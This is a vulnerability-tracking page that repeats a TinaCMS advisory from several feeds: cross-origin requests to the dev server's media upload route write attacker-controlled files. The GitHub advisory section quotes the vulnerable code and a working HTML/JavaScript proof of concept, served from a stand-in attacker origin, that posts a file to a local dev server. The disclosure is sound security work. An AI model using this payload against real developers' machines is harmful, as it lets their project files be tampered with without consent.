Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.

Source published

19 Aug 2026 21:41:18 UTC

Source modified

25 Aug 2026 14:20:27 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.

Source published

Aug 19, 2026, 9:41:18 PM (timezone not stated)

Source modified

Aug 25, 2026, 2:20:27 PM (timezone not stated)

Observed here

7 Nov 2026 13:28:57 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.

Source published

19 Aug 2026 22:16:58 UTC

Source modified

26 Oct 2026 10:10:00 UTC

Observed here

27 Oct 2026 15:15:43 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

### Summary A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running `tinacms dev`. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file. ### Details The issue is in the dev server path of `@tinacms/cli`. The Vite dev server installs CORS middleware: ```ts // packages/@tinacms/cli/src/next/vite/plugins.ts server.middlewares.use( cors({ origin: corsOriginCheck, methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'], }) ); ``` For disallowed origins, the origin callback only returns `false` to the CORS library: ```ts // packages/@tinacms/cli/src/next/vite/cors.ts return (origin, callback) => { ... callback(null, false); }; ``` That does not reject the request server-side. The same request is still routed into the upload handler: ```ts // packages/@tinacms/cli/src/next/vite/plugins.ts if (req.url.startsWith('/media/upload')) { await mediaRouter.handlePost(req, res); return; } ``` The upload handler then accepts attacker-controlled path and body data and writes the file: ```ts // packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts bb.on('file', async (_name, file, _info) => { const fullPath = decodeURIComponent( req.url?.slice('/media/upload/'.length) ); const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder); await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); }); ``` This is exploitable because `multipart/form-data` is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request. I validated this locally with a browser-backed repro: - the request origin was a disallowed non-localhost origin, - the browser treated the fetch as blocked, - the local Tina media file was still written with attacker-controlled contents. The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution. ### PoC Minimal reproduction: 1. Start a Tina dev server so the media upload route is reachable at: ```text http://127.0.0.1:<TINA_PORT>/media/upload/<filename> ``` 2. From a different, non-allowed origin such as `http://evil.test:8000`, serve this page: ```html <!doctype html> <script> (async () => { const form = new FormData(); form.append( 'file', new Blob(['poc-from-cross-origin'], { type: 'text/plain' }), 'poc.txt' ); try { await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', { method: 'POST', body: form, }); console.log('fetch resolved'); } catch { console.log('fetch blocked by CORS'); } })(); </script> ``` 3. Open that page in a browser while the Tina dev server is running. 4. Observe: - the browser reports the cross-origin request as blocked or inaccessible, - but `poc.txt` is still created in the configured media directory, commonly: ```text public/uploads/poc.txt ``` 5. Verify the file contents are: ```text poc-from-cross-origin ``` This reproduces the vulnerability without any victim-side manual upload action. ### Impact This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.

Source published

19 Aug 2026 21:56:36 UTC

Source modified

21 Aug 2026 18:45:12 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Publisher rating · MODERATE